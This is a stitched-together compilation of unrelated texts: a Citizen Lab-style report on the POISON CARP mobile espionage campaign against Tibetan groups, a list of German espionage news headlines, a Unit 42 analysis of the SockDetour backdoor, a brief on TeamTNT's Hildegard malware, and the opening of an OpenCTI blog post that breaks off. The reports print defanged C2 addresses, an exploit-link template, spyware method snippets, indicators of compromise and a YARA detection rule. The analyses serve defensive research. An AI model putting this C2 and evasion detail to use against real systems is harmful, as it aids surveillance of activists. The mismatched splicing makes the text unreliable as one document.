Between November 2018 and September 2019, we collected one iOS exploit chain, one iOS spyware implant, eight distinct Android exploits, and an Android spyware package. The iOS exploit chain only affects iOS versions between 11.0 and 11.4, and was not a zero-day exploit when we observed it. The Android exploits include a working exploit publicly released by Exodus Intelligence for a Google Chrome bug that was patched, but whose patch had not yet been distributed to Chrome users. Other exploits include what appears to be lightly modified versions of Chrome exploit code published on the personal GitHub pages of a member of Tencent’s Xuanwu Lab (CVE-2016-1646), a member of Qihoo 360’s Vulcan Team (CVE-2018-17480), and by a Google Project Zero member on the Chrome Bug Tracker (CVE-2018-6065).
The exploits, spyware, and infrastructure used by POISON CARP link it to two recently reported digital espionage campaigns targeting Uyghur groups. In August 2019, Google Project Zero reported on a digital espionage campaign identified by Google’s Threat Analysis Group that used compromised websites to serve iOS exploits (including a zero-day in one case) to visitors for the purpose of infecting their iPhones with spyware. Subsequent media reporting cited anonymous sources who stated that the campaign targeted the Uyghur community and that the same websites were being used to serve Android and Windows malware. Following these reports, Volexity published details of a digital espionage campaign against Uyghurs that used compromised websites to infect targets with Android malware. While Volexity did not provide any technical indicators that overlap with Google’s report, they speculated that the operator may be the same in both cases. Our report provides these missing links.
POISON CARP used an iOS exploit chain identified in the Google Project Zero report, and used spyware that appears to be an earlier version of the implant sample described by Google. POISON CARP used the domain msap[.]services to serve the iOS exploit, an indicator that Volexity’s report found in the code of a compromised Uyghur website. Based on these similarities, it is likely the campaigns were conducted by the same operator, or a coordinated group of operators, who have an interest in the activities of ethnic minority groups that are considered sensitive in the context of China’s security interests.
## 1. Targeting
Between November 11-14, 2018, we observed 15 intrusion attempts against individuals from the Private Office of His Holiness the Dalai Lama, the Central Tibetan Administration, the Tibetan Parliament, and Tibetan human rights groups. On April 22 and May 21 2019, we observed two additional attempts. The majority of people who were targeted hold senior positions in their respective organizations.
The intrusion attempts arrived via WhatsApp messages from seven fake personas designed to appear as journalists, staff at international advocacy organisations, volunteers to Tibetan human rights groups, and tourists to India. The fake personas exclusively used WhatsApp phone numbers with Hong Kong country codes (+852).
Throughout the campaign, POISON CARP demonstrated significant effort in social engineering. The personas and messages were tailored to the targets, and POISON CARP operators actively engaged in conversations and persistently attempted to infect targets. Overall, the ruse was persuasive: in eight of the 15 intrusion attempts, the targeted persons recall clicking the exploit link. Fortunately, all of these individuals were running non-vulnerable versions of iOS or Android, and were not infected.
### A Fake Amnesty International Researcher
On November 13, 2018, a senior staff member at a Tibetan human rights group was contacted on WhatsApp from a previously unknown number. The persona claimed to be “Jason Wu,” head of the “Refugee Group” at Amnesty International’s Hong Kong branch. There does not appear to be any “Jason Wu” currently employed by Amnesty International.
Once the target replied, the persona quickly introduced the topic of a recent self-immolation in Tibet and claimed to be attempting to verify social media reports for use in an upcoming Amnesty International report on human rights in China, and for an upcoming statement critical of the Chinese government’s treatment of ethnic minorities. Once the pretext was established, the operator shared a link shortened with bit.ly. The link redirected to a page on www.msap[.]services that contained an iOS exploit chain targeted at versions 11.0 through 11.4. The target recalls clicking on the link, but was not infected because their iPhone was running iOS version 12.0.1. Perhaps because the operator did not observe a successful infection, they continued to converse with the target, sharing additional exploit links. Several hours later, the persona explained that they had confirmed information about the self-immolation with contacts at the Central Tibetan Administration, which may have been an effort to make the interaction seem benign to the target.
### From iOS to Android Exploit Attempts
In another intrusion attempt, a staff member from the same Tibetan human rights organization was contacted by “Lucy Leung,” a persona masquerading as a New York Times reporter seeking an interview. After a brief pretext, the persona sent the target an iOS intrusion attempt linking directly to www.msap[.]services.
## 2. iOS Exploit Kit
Of the 17 intrusion attempts we observed against Tibetan targets, 12 contained links to the iOS exploit. All but one of the attempts were sent between November 11-14, 2018, with the last attempt sent on April 22, 2019. The exploit links pointed to what appear to be unique shortcodes on www.msap[.]services. Links were sometimes sent directly, and sometimes via URL shorteners such as Bitly.
Requesting a malicious link hosted on the www.msap[.]services domain using an iPhone User-Agent string (iOS 11.0 – 11.4) returned a valid HTML page including two iframes: one full-sized iframe displaying a benign decoy webpage and an invisible iframe leading to an exploit page on a different website. Attempts to visit with other user agents we tested resulted in a 302 redirect to the decoy webpage. Attempts to visit nonexistent short-links on the www.msap[.]services domain resulted in a 302 redirect of the target’s browser to apple.com.
As of September 6, 2019, the Bitly link statistics recorded 140 total clicks on the iOS exploit short links. We obtained a single iOS exploit chain from the links sent in November 2018. We were unable to obtain any malicious code from the April 2019 link. The exploit chain appeared to be designed to target iOS versions 11 – 11.4 on all iPhone models 6 – X, although we were unable to successfully infect an iPhone SE running iOS 11.4 during testing. The first exploit in the chain was a WebKit JavaScriptCore exploit, which resulted in the loading of an iOS privilege escalation exploit chain that ultimately executed a spyware payload designed to steal data from a range of applications and services.
We reported the exploit chain to Apple shortly after discovering it in November 2018. Apple confirmed that both the browser and privilege escalation exploits had been patched as of iOS 11.4.1 in July 2018. The browser exploit used in the POISON CARP campaign appeared to match an exploit described in the Google Project Zero report (JSC Exploit 4, related to WebKit issue 185694). Apple further confirmed that the privilege escalation and sandbox escape exploit we encountered was identical to iOS Exploit Chain 3 from the Google report. Therefore, when the exploit was deployed against Tibetan groups, it was not a zero-day and was at least four months out-of-date.
### Encrypted Malcode Delivery
One noteworthy feature of the exploitation process was that the exploits and malcode were encrypted with an ECC Diffie-Hellman (ECDH) key exchange between the target browser and the operator’s server. The encrypted delivery of the exploit and payload would prevent a network intrusion detection system (such as those commonly used in enterprise settings) from detecting malicious code, and prevents analysts from reconstructing and analyzing the malicious code from a network traffic capture alone. Of course, analysts can still extract the malicious code in other ways, such as from memory dumps or browser-based instrumentation.
### Implant Analysis
The spyware implant we acquired from the exploit chain in November 2018 was similar, though not identical, to the implant described by Google Project Zero researchers. Based on the technical details provided in the Google report, we believe the two implants represent the same spyware program in different stages of development. The November 2018 version we obtained appears to represent a rudimentary stage of development: seemingly important methods that are unused, and the command and control (C2) implementation lacks even the most basic capabilities. The Implant Teardown section of the Google Project Zero report shows a fairly full-featured implant.
#### Initialisation
The main functionality of the implant is implemented in the Service class. The class start method initializes a timer using the startTimer method to create a persistent execution loop. Once complete, the start method carries out initial device information collection and upload to the C2 server, followed by collection and upload of various application data including location data, contacts, call history, SMS history, and more.
### IMPLANT COMPARISON: start method
The start method in the implant that Google Project Zero researchers analyzed (which we refer to as the P0 version) had the following structure:
```
-[Service start] {
[self startTimer];
[self upload];
}
```
In this version, the initial device information collection takes place in the upload method, making the start method much simpler. The P0 version also appears to add a data retrieval method to obtain the contents of the Apple Mail application, something which is not found in the version we analyzed.
### IMPLANT COMPARISON: data collection
In the P0 version, the same device info was collected via the uploadDevice method, however this version also collected two additional pieces of information:
- Total disk space
- Free disk space
During initial data collection and exfiltration, the implant contacts the C2 server using the remotelist method to request a list of applications from which the operator wishes to exfiltrate data. In the case where no list is returned, the implant has a predefined list of hardcoded applications which consists of:
- Viber (com.viber)
- Voxer (com.rebelvox.voxer-lite)
- Telegraph (ph.telegra.Telegraph)
- Gmail (com.google.Gmail)
- Twitter (com.atebits.Tweetie2)
- QQMail (com.tencent.qqmail)
- WhatsApp (net.whatsapp.WhatsApp)
### IMPLANT COMPARISON: targeted applications
The P0 version adds the following applications to the default list:
- Yahoo Mail (com.yahoo.Aerogram)
- Outlook (com.microsoft.Office.Outlook)
- NetEase Mail Master (com.netease.mailmaster)
- Skype (com.skype.skype)
- Facebook (com.facebook.Facebook)
- WeChat (com.tencent.xin)
### Command and (Lack of) Control
Once the persistence timer takes control of the run loop, two methods are called: status and capp.
The status method sends a heartbeat message to the C2 server containing the current network connection method (wifi or cellular). Knowing whether the target is on wifi or cellular is important to operators, as exfiltrating large amounts of data using a cellular connection could tip off the target to the surveillance.
In our sample, this data is sent via (unencrypted) HTTP POST to a C2 server at hxxp://66.42.58[.]59:9078/status. The other method called by the timer loop, capp, issues a request to the C2 server, again using the remotelist method, to request a list of applications from which the operator wishes to exfiltrate data.
### IMPLANT COMPARISON: command and control
In the P0 version of the implant, the timer_handle method has a similar structure, however the capp method is renamed to cmds:
```
-[Service cmds] {
NSLog(@"cmds");
[self remotelist];
NSLog(@"finally");
}
```
The P0 version of the remotelist method is significantly improved, and able to parse and handle a variety of commands from the command and control server.
### Summary
We suspect that the implant we observed is in a rudimentary state of development, due to the seeming lack of C2 server communication capabilities. There are numerous methods which appear, both in name and function, to have been designed to capture and exfiltrate specific device and application data. While they are called on the initial execution of the implant via the start method, they are not called again via any interaction from the C2 server. Additionally, there are numerous utility methods with suggestive names that are never invoked:
- [Util:pathOfWhatsappData]
- [Util:pathOfWhatsappGroup]
- [Util:pathOfTwitterData]
- [Util:pathOfProtonMailData]
- [Util:pathOfProtonMailGroup]
Given the enhancements in the implant version analyzed by the Google Project Zero team, we strongly suspect that our copy of the implant represents an earlier stage of development.
## 3. MOONSHINE: Android Exploit Kit and Payload
During the course of the campaign, POISON CARP sent targets four malicious links pointing to Android exploits via WhatsApp. While we did not identify any shared infrastructure or code similarities between the iOS and Android exploits or payloads, it is clear that POISON CARP was using both tools. We refer to the Android exploit and malware kit as MOONSHINE, given a number of alcohol-related strings included by the developer. This kit has not been publicly described prior to this report.
The Android exploit links were links of the following form, where [MoonshineSite] was an IP address or domain name of a server running MOONSHINE, and [URL] was a Base64-encoded decoy URL where the user was redirected post-exploitation, or if exploitation failed:
```
hxxp://[MoonshineSite]:5000/web/info?org=[URL]
```
If a target accessed the link using a Chrome-based Android browser, they received a webpage designed to coerce their device to open the exploit URL inside the Facebook app’s built-in Chrome-based web browser.
### Android Implant Overview
The MOONSHINE Loader was the first in a series of intermediary staged malware binaries sequentially executed to deliver the ultimate payload: a fully featured Android spyware package called “Scotch” by its developers.
MOONSHINE is designed for stealthy rootless operation, by exploiting popular legitimate Android apps with built-in browsers that request sensitive permissions. MOONSHINE obtains persistence by overwriting an infrequently used shared library (.so) file in one of these apps with itself. When a targeted user opens the legitimate app after exploitation, the app loads the shared library into memory, which causes the spyware to activate. While code in subsequent stages of MOONSHINE suggests that it can be deployed against four apps (Facebook, Facebook Messenger, WeChat, and QQ), the exploit site we tested against did not deliver any exploits for WeChat or QQ User-Agent headers.
The ultimate spyware tool deployed by MOONSHINE, Scotch, is a modular Java application which uses the WebSocket protocol to communicate with its C2 server. The Scotch payload itself has limited espionage features, such as obtaining device information and uploading files from the infected device. However, as part of its initial contact with the C2, Scotch downloads additional plugins. During our analysis, we were able to acquire two plugin packages, named “Bourbon.jar” and “IceCube.jar” which added functionality including exfiltrating SMS text messages, address books, and call logs, and spying on the target through their phone’s camera, microphone, and GPS.
### Loader Stage
After the MOONSHINE Loader is installed, the Loader POSTs a check-in message to the C2 server. The C2 server response provides instructions to the Loader, including a URL from which to download and execute the next stage of the malware chain, as well as a series of files to delete from the app folder.
### Whisky Stage
Whisky’s first step is to determine which shared library (.so) file should be overwritten by the next stage of MOONSHINE — called “Bourbon” by developers — by determining the current application context from the current working directory.
### Bourbon Stage
When a user opens the app that Bourbon has been implanted inside, e.g., Facebook, the app loads the Bourbon library into the Android Runtime, which calls Bourbon’s JNI_Onload method. The JNI_Onload method in Bourbon extracts the next payload, named “Scotch”, from itself.
### Scotch Stage
The Scotch stage is the final implant, providing an extensible, persistent spyware tool. Upon loading, the Scotch implant generates two identifiers: a Whisky_ID, generated by taking the SHA256 hash of a random UUID value, and a Device_ID, constructed by taking the SHA256 hash of a fingerprint string comprised of various values specific to the infected device. The implant then makes a connection to the C2 server using the WebSocket protocol, thereby allowing bi-directional communication between the implant and the C2 server.
## 4. Malicious OAuth Application
Open Authentication (OAuth) is a protocol designed for access delegation and has become a popular way for major platforms (e.g., Facebook, Google, Twitter, etc.) to permit sharing of account information with third party applications.
Malicious OAuth applications have been used in phishing attacks both in digital espionage operations and generic cybercrime. Recently, we have also seen campaigns using malicious OAuth applications targeting the Tibetan community, perhaps in an effort to phish users who take advantage of two-factor authentication to secure their Google accounts.
On May 31, 2019, a member of the Tibetan Parliament received a WhatsApp message requesting confirmation of a news story. The same individual previously was sent iOS exploit links in a WhatsApp message in November 2018. The message included two Bitly links. The first short link sent in the message extended to hxxps://www.energy-mail[.]org/B20V54, which redirected to a Google OAuth application called Energy Mail that requests access to Gmail data. After subsequent clicks, the link simply redirected to a legitimate Google login page. The second bit.ly link served MOONSHINE, leading us to determine that these OAuth attacks are carried out by the same operator as the mobile exploitation activity.
## 5. Conclusion
One of the significant findings of our analysis is the connection between POISON CARP and the campaigns reported by Google Project Zero and Volexity. Based on the use of the same iOS exploits and similar iOS spyware implant between POISON CARP and the campaign described by Google Project Zero and server infrastructure connections with the Evil Eye campaign reported by Volexity, we determine that the three campaigns were likely conducted by the same operator or a closely coordinated group of operators who share resources.
Beyond the technical overlap in these campaigns is the fact that they all targeted ethnic minority groups related to China: Uyghurs and Tibetans. These communities have experienced digital espionage threats for over a decade and previous reports often find the same operators and malware tool kits targeting them. However, the level of threat posed by POISON CARP and the linked campaigns are a game changer. These campaigns are the first documented cases of iOS exploits and spyware being used against these communities.
Over the years, Tibetan groups have become savvy to the signs of suspicious emails, attachments, and phishing. However, POISON CARP shows that mobile threats are not expected by the community, as evidenced by the high click rate on the exploit links that would have resulted in significant compromise if the devices were running vulnerable versions of iOS or Android. Part of the success of the social engineering used by POISON CARP is likely due to the effort made to make targeted individuals feel comfortable through the extended chat conversations and fake personas. This intimate level of targeting is easier to achieve on mobile chat apps than through email.
The targeting of mobile platforms also reflects a general pattern we have seen in information security threats to civil society around the world. Numerous reports show the products of commercial spyware vendors who sell services exclusively to governments being used to spy on activists and journalists through their iOS and Android devices. These incidents demonstrate a growing demand for exploitation of mobile devices. From an adversary perspective what drives this demand is clear. It is on mobile devices that we consolidate our online lives and that civil society organizes and mobilizes. A view inside a phone can give a view inside these movements.
Addressing these threats requires action from within civil society and private industry. Efforts such as TibCERT are important steps forward in increasing the digital security of Tibetan organisations and can serve as examples for other civil society communities. By adopting procedures, norms, and frameworks used by government and private industry such as CERTs, civil society can mature efforts to share incident response resources and data on threats. At the same time, platform providers should pay special attention to threats deployed against civil society. Not only are civil society users at heightened risk of negative consequences from digital espionage, but the surveillance tools developed and honed with the unwitting aid of civil society targets put all users at risk. |
# Spionage - Aktuelle Nachrichten
**Britischer Inlandsgeheimdienst MI5 warnt vor angeblicher chinesischer Agentin**
14.01.2022 - 10:57 Uhr
Sie soll versucht haben, Einfluss auf die britische Politik zu nehmen - im Sinne der Staatsführung Chinas: Der britische Inlandsgeheimdienst warnt Ober- und Unterhaus vor einer Anwältin, die im Regierungsviertel gut vernetzt war.
**Ausspähung von Handys: Staatsanwaltschaft ermittelt gegen Finfisher**
18.07.2021 - 19:20 Uhr
Die Staatsanwaltschaft hat ein Ermittlungsverfahren gegen Verantwortliche eines deutschen Spionageherstellers eingeleitet. Nach Informationen von NDR, BR und SZ wird die Firma verdächtigt, illegal Spähsoftware in die Türkei exportiert zu haben.
**Spionagesoftware: Warnung vor "Golden Spy" aus China**
21.08.2020 - 16:31 Uhr
Industriespionage ist seit langem ein Thema für westliche Firmen, die in China arbeiten. Nun warnen die deutschen Sicherheitsbehörden vor einer Spionagesoftware, die sich die Firmen unbemerkt herunterladen. Von Michael Götschenberg.
**Cyberangriff auf den Bundestag: Wie lief die Suche nach dem Hacker?**
08.05.2020 - 11:44 Uhr
Der Generalbundesanwalt fahndet nach einem russischen Spion, der am Cyberangriff auf den Bundestag 2015 beteiligt gewesen sein soll. Abgeordnete wollen nun wissen, wie die Behörden den Hacker enttarnt haben. Von Florian Flade.
**Deutsche Sicherheitsbehörden: Keine Beweise für Spionage durch Huawei**
17.02.2020 - 18:00 Uhr
Die US-Regierung behauptet, das chinesische Unternehmen Huawei könne Spionage in deutschen Mobilfunknetzen betreiben. Deutsche Sicherheitsbehörden sehen nach Recherchen von WDR, NDR und SZ keine Beweise dafür.
**Spähsoftware in Israel: Polizei soll mit "Pegasus" spioniert haben**
07.02.2022 - 16:13 Uhr
Israels Polizei soll jahrelang unerlaubt Regierungskritiker, Geschäftsleute und einen Sohn von Ex-Regierungschef Netanyahu abgehört haben. Innenministerin Schaked forderte eine umgehende Untersuchung der Vorwürfe.
**Ausweisung russischer Diplomaten: Wie sich Deutschland vor Spionage schützt**
06.04.2022 - 11:05 Uhr
Berlin gilt als Hauptstadt der Spione - vor allem in Kriegszeiten. Wohl auch deshalb hat Deutschland nun russische Diplomaten ausgewiesen. Doch woher weiß die Regierung, wer für Geheimdienste arbeitet? Von M. Stempfle.
**Bundesanwaltschaft erhebt Anklage: Spionierte ein BND-Informant für China?**
06.07.2021 - 05:03 Uhr
Offiziell arbeitete er für eine Stiftung, spionierte aber für den BND. Nun hat die Bundesanwaltschaft nach Informationen des ARD-Hauptstadtstudios Anklage erhoben gegen den 75-Jährigen: Er soll auch für China spioniert haben. Von M. Götschenberg.
**Nach Ausweisungen: Wo sind Russlands Spione?**
11.05.2022 - 18:23 Uhr
Mehr als 400 russische Diplomaten mussten Europa seit Beginn des Ukraine-Krieges verlassen. Sie sollen Spione gewesen sein. Sicherheitsbehörden gehen davon aus, dass Russland seine Spähaktivitäten anpasst. Von Florian Flade.
**Für Russlands Geheimdienst: Reserveoffizier wegen Spionage angeklagt**
01.04.2022 - 16:50 Uhr
Ein Reserveoffizier der Bundeswehr soll über etliche Jahre den russischen Geheimdienst mit Informationen versorgt haben - auch zur Gaspipeline Nord Stream 2. Deshalb hat die Bundesanwaltschaft nun Anklage gegen ihn erhoben.
**Wegen Spionage: Russischer Diplomat ausgewiesen**
28.01.2022 - 15:36 Uhr
Die Bundesregierung hat nach "Spiegel"-Informationen einen russischen Diplomaten des Landes verwiesen. Er sei bei Ermittlungen gegen den Mitarbeiter einer bayerischen Universität als Spion aufgeflogen.
**Spionageverdacht an Uni in Bayern: Anklage gegen russischen Wissenschaftler**
27.01.2022 - 11:28 Uhr
Ein ehemaliger Mitarbeiter einer bayerischen Universität soll Erkenntnisse aus der Raumfahrttechnologie an Russland weitergegeben haben. Nun hat die Bundesanwaltschaft Anklage gegen den gebürtigen Russen erhoben.
**Dänische Spionageaffäre: Merkel und Macron verlangen Aufklärung**
31.05.2021 - 20:26 Uhr
Die Beteiligung des dänischen Geheimdienstes bei der Ausspähung europäischer Spitzenpolitiker durch die USA sorgt für einigen Unmut. Frankreichs Präsident Macron nannte das Vorgehen "inakzeptabel" - Kanzlerin Merkel schloss sich an.
**Russische Spionage: Wie im Kalten Krieg**
13.04.2021 - 12:00 Uhr
Russlands Geheimdienste sind zuletzt vor allem durch Cyberangriffe aufgefallen. Aber auch Methoden aus dem Kalten Krieg kommen noch zum Einsatz - etwa der Agentenfunk. Von Florian Flade und Georg Mascolo. |
# SockDetour – a Silent, Fileless, Socketless Backdoor – Targets U.S. Defense Contractors
**By Unit 42**
**February 24, 2022**
**Category:** Malware
**Tags:** APT, backdoor, CVE-2021-28799, CVE-2021-40539, CVE-2021-44077, TiltedTemple, Windows
## Executive Summary
Unit 42 has been tracking an APT campaign we name TiltedTemple, which we first identified in connection with its use of the Zoho ManageEngine ADSelfService Plus vulnerability CVE-2021-40539 and ServiceDesk Plus vulnerability CVE-2021-44077. The threat actors involved use a variety of techniques to gain access to and persistence in compromised systems and have successfully compromised more than a dozen organizations across the technology, energy, healthcare, education, finance, and defense industries. In conducting further analysis of this campaign, we identified another sophisticated tool being used to maintain persistence, which we call SockDetour.
A custom backdoor, SockDetour is designed to serve as a backup backdoor in case the primary one is removed. It is difficult to detect, since it operates filelessly and socketlessly on compromised Windows servers. One of the command and control (C2) infrastructures that the threat actor used for malware distribution for the TiltedTemple campaign hosted SockDetour along with other miscellaneous tools such as a memory dumping tool and several webshells. We are tracking SockDetour as one campaign within TiltedTemple, but cannot yet say definitively whether the activities stem from a single or multiple threat actors.
Based on Unit 42’s telemetry data and the analysis of the collected samples, we believe the threat actor behind SockDetour has been focused on targeting U.S.-based defense contractors using the tools. Unit 42 has evidence of at least four defense contractors being targeted by this campaign, with a compromise of at least one contractor.
Unit 42 also believes it is possible that SockDetour has been in the wild since at least July 2019. We did not find any additional SockDetour samples on public repositories, meaning that the backdoor successfully stayed under the radar for a long time.
## Background on the TiltedTemple Campaign
TiltedTemple is the name Unit 42 gives to a campaign being conducted by an advanced persistent threat (APT) or APTs, leveraging a variety of initial access vectors, to compromise a diverse set of targets globally. Our initial publications on TiltedTemple focused on attacks that occurred through compromised ManageEngine ADSelfService Plus servers and through ManageEngine ServiceDesk Plus.
The TiltedTemple campaign has compromised organizations across the technology, energy, healthcare, education, finance, and defense industries and conducted reconnaissance activities against these industries and others, including infrastructure associated with five U.S. states. We found SockDetour hosted on infrastructure associated with TiltedTemple, though we have not yet determined whether this is the work of a single threat actor or several.
## SockDetour Targets US Defense Industry
While the TiltedTemple campaign was initially identified as starting in August 2021, we have recently discovered evidence that SockDetour was delivered from an external FTP server to a U.S.-based defense contractor’s internet-facing Windows server on July 27, 2021. The FTP server also hosted other miscellaneous tools used by the threat actor, such as a memory dumping tool and ASP webshells. After analyzing and tracking these indicators, we were able to discover that at least three other U.S.-based defense contractors were targeted by the same actor.
## SockDetour Hosted by Compromised Home and SOHO NAS Server
The FTP server that hosted SockDetour was a compromised Quality Network Appliance Provider (QNAP) small office and home office (SOHO) network-attached storage (NAS) server. The NAS server is known to have multiple vulnerabilities, including a remote code execution vulnerability, CVE-2021-28799. This vulnerability was leveraged by various ransomware families in massive infection campaigns in April 2021. We believe the threat actor behind SockDetour likely also leveraged these vulnerabilities to compromise the NAS server. In fact, the NAS server was already infected with QLocker from the previous ransomware campaigns.
## Analysis of SockDetour
SockDetour is a custom backdoor compiled in 64-bit PE file format. It is designed to serve as a backup backdoor in case the primary one is detected and removed. It works on Windows operating systems that are running services with listening TCP ports. It hijacks network connections made to the pre-existing network socket and establishes an encrypted C2 channel with the remote threat actor via the socket. Thus, SockDetour requires neither opening a listening port from which to receive a connection nor calling out to an external network to establish a remote C2 channel. This makes the backdoor more difficult to detect from both host and network level.
In order for SockDetour to hijack an existing process’s socket, it needs to be injected into the process’s memory. For this reason, the threat actor converted SockDetour into a shellcode using an open-source shellcode generator called Donut framework, then used the PowerSploit memory injector to inject the shellcode into target processes. The samples we found contained hardcoded target processes’ IDs, which means the threat actor manually chose injection target processes from compromised servers.
After SockDetour is injected into the target process, the backdoor leverages the Microsoft Detours library package, which is designed for the monitoring and instrumentation of API calls on Windows to hijack a network socket. Using the DetourAttach() function, it attaches a hook to the Winsock accept() function. With the hook in place, when new connections are made to the service port and the Winsock accept() API function is invoked, the call to the accept() function is re-routed to the malicious detour function defined in SockDetour. Other non-C2 traffic is returned to the original service process to ensure the targeted service operates normally without interference. With such implementation, SockDetour is able to operate filelessly and socketlessly in compromised Windows servers, and serves as a backup backdoor in case the primary backdoor is detected and removed.
## Client Authentication and C2 Communication
As SockDetour hijacks all the connections made to the legitimate service port, it first needs to verify the C2 traffic from incoming traffic that is mixed with legitimate service traffic, then authenticate to make sure the C2 connection is made from the right client. SockDetour achieves the verification and authentication of the C2 connection with the following steps:
1. First, expect to receive 137 bytes of data from a client for authentication.
2. Read the first nine bytes of data using the recv() function with the MSG_PEEK option.
3. Verify that the data starts with `17 03 03`.
4. Check that the size of payload data is less than or equal to 251.
5. Check that the four bytes of payload satisfy specific conditions.
6. Read the whole 137 bytes of data from the same data queue with the MSG_PEEK option for further authentication.
7. Build a 24-byte data block for verification.
8. This 24-byte data block is hashed and verified using an embedded public key against the 128-byte data signature.
After successful authentication, SockDetour takes over the TCP session using the recv() function without the MSG_PEEK option as this session is now verified to be for the backdoor. Next, SockDetour creates a 160-bit session key using a hardcoded initial vector value, then sends it to the remote client.
## Plugin Loading Feature
As a backup backdoor, SockDetour serves only one feature of loading a plugin DLL. After the session key sharing, SockDetour receives four bytes of data from the client, which indicates the length of data SockDetour will receive for the final payload delivery stage. The final payload data received is encrypted using the shared session key. After decryption, the received data is expected to be in JSON format with two objects: `app` and `args`. SockDetour loads this plugin DLL in newly allocated memory space, then calls an export function with the name `ThreadProc`.
While plugin DLL samples were not discovered, the above function argument suggests that the plugin also likely communicates via the hijacked socket and encrypts the transaction using the session key. Thus, we surmise it operates as stealthily as SockDetour does.
## Conclusion
SockDetour is a backdoor that is designed to remain stealthily on compromised Windows servers so that it can serve as a backup backdoor in case the primary one fails. It is filelessly loaded in legitimate service processes and uses legitimate processes’ network sockets to establish its own encrypted C2 channel. While it can be easily altered, the compilation timestamp of the SockDetour sample we analyzed suggests that it has likely been in the wild since at least July 2019 without any update to the PE file. This suggests that the backdoor successfully stayed under the radar for a long time.
The plugin DLL remains unknown, but it is also expected to operate very stealthily by being delivered via SockDetour’s encrypted channel, being loaded filelessly in memory, and communicating via hijacked sockets. As an additional note, the type of NAS server that we found hosting SockDetour is typically used by small businesses. This example serves as a critical reminder to patch this type of server frequently when fixes are released.
## Protections and Mitigations
Cortex XDR protects endpoints and accurately identifies the memory injector as malicious. Additionally, Cortex XDR has several detections for lateral movement and credential theft tactics, techniques, and procedures (TTPs) employed by this actor set. WildFire cloud-based threat analysis service accurately identifies the injector used in this campaign as malicious.
We advise server administrators to keep Windows servers up to date. The YARA rule attached at the end of this blog can be used to detect the presence of SockDetour in memory. Organizations should conduct an incident response investigation if they think they are compromised by SockDetour.
## Indicators of Compromise
**SockDetour PE**
`0b2b9a2ac4bff81847b332af18a8e0705075166a137ab248e4d9b5cbd8b960df`
**PowerSploit Memory Injectors Delivering SockDetour**
`80ed7984a42570d94cd1b6dcd89f95e3175a5c4247ac245c817928dd07fc9540`
`bee2fe0647d0ec9f2f0aa5f784b122aaeba0cddb39b08e3ea19dd4cdb90e53f9`
`a5b9ac1d0350341764f877f5c4249151981200df0769a38386f6b7c8ca6f9c7a`
`607a2ce7dc2252e9e582e757bbfa2f18e3f3864cb4267cd07129f4b9a241300b`
`11b2b719d6bffae3ab1e0f8191d70aa1bade7f599aeadb7358f722458a21b530`
`cd28c7a63f91a20ec4045cf40ff0f93b336565bd504c9534be857e971b4e80ee`
`ebe926f37e7188a6f0cc85744376cdc672e495607f85ba3cbee6980049951889`
`3ea2bf2a6b039071b890f03b5987d9135fe4c036fb77f477f1820c34b341644e`
`7e9cf2a2dd3edac92175a3eb1355c0f5f05f47b7798e206b470637c5303ac79f`
`bb48438e2ed47ab692d1754305df664cda6c518754ef9a58fb5fa8545f5bfb9b`
**Public Key Embedded in SockDetour**
```
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDWD9BUhQQZkagIIHsCdn/wtRNXcYoEi3Z4PhZkH3mar20EONVyXWP/YUxyUmxD+aT
-----END PUBLIC KEY-----
```
**YARA Rule for Detecting SockDetour in Memory**
```
rule apt_win_sockdetour
{
meta:
author = "Unit 42 - PaloAltoNetworks"
date = "2022-01-23"
description = "Detects SockDetour in memory or in PE format"
hash01 = "0b2b9a2ac4bff81847b332af18a8e0705075166a137ab248e4d9b5cbd8b960df"
strings:
$public_key = "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDWD9BUhQQZkagIIHsCdn/wtRNXcYoEi3Z4PhZkH3mar20EONVyXWP/YUxyUmxD"
$json_name_sequence = {61 70 70 00 61 72 67 73 00 00 00 00 73 6F 63 6B 00 00 00 00 6B 65 79 00 61 72 67 73 00 00}
$verification_bytes = {88 [4] A0 [4] 90 [4] 82 [4] FD [4] F5 [4] FB [4] EF}
$data_block = {08 [4] 1C [4] C1 [4] 78 [4] D4 [4] 13 [4] 3A [4] D7 [4] 0F [4] AB [4] B3 [4] A2 [4] B8 [4] AE [4] 63 [4] BB [4] 03 [4] E8 [4] FF [4] 3}
$initial_vector = {62 [4] 76 [4] 79 [4] 69 [4] 61 [4] 66 [4] 73 [4] 7A [4] 6D [4] 6B [4] 6A [4] 73 [4] 6D [4] 71 [4] 67 [4] 6C}
condition:
any of them
}
``` |
# Hildegard: TeamTNT’s New Feature-Rich Malware Targeting Kubernetes
With consistently improved abilities, TeamTNT has been observed employing a new malware, Hildegard, which carries stealth and persistence capabilities.
## TeamTNT’s New Trump Card
Palo Alto Networks researchers have observed TeamTNT’s Hildegard malware targeting Kubernetes systems at its reconnaissance and weaponization stage in January. The attackers have predominantly leveraged misconfigured kubelet agents to gain access to the Kubernetes environments for cryptojacking and potentially exfiltrating sensitive data from tens of thousands of applications running in the clusters. The Hildegard malware uses a tmate reverse shell and an IRC channel to establish C&C connections. To disguise the malicious process, it uses a known Linux process name (bioset). In addition, for defense evasion, the malware hides malicious processes using library injection and encrypts the malicious payload inside a binary to make the automated static analysis more difficult.
## Recent Attacks
In the last month, the group was using a detection evasion tool named libprocesshider, copied from open source repositories. TeamTNT hackers had used malicious shell scripts to exfiltrate Docker API logins, along with AWS credentials, and deployed cryptocurrency miners. In another research, Palo Alto researchers found an Ezuri loader in the group’s recently developed arsenal. In December, the TeamTNT group was deploying a distributed denial of service (DDoS) capable IRC bot called TNTbotinger.
## Wrapping Up
TeamTNT has been continuously expanding its capabilities and arsenal with new tools and malware. Targeting a Kubernetes cluster can be more profitable than a hijacked Docker host. With more sophisticated tactics for initial intrusion, execution, defense evasion, and command and control, the threat actor can be expected to launch a larger-scale attack in the near future. |
# OpenCTI Data Sharing
In this blog post, we would like to explain how users and developers can extract data from OpenCTI using API, TAXII™ collections, or data streams. Data sharing in the cybersecurity field is crucial, and we believe OpenCTI can provide significant value to the community.
## Major Data Sharing Features in OpenCTI
OpenCTI has many capabilities to extract information from the database to feed other systems. We will focus on the different ways to do this, particularly on stream capabilities.
### GraphQL API
The first way to extract data from OpenCTI is by using the GraphQL API (/graphql). If you choose to consume this API directly, you will need to manipulate filtering, ordering, and pagination API arguments to get the latest data periodically, which can lead to some delay in refreshing your data. To discover the API endpoints and capabilities, the best path is to explore the embedded GraphQL playground in the platform.
### TAXII™ Collections
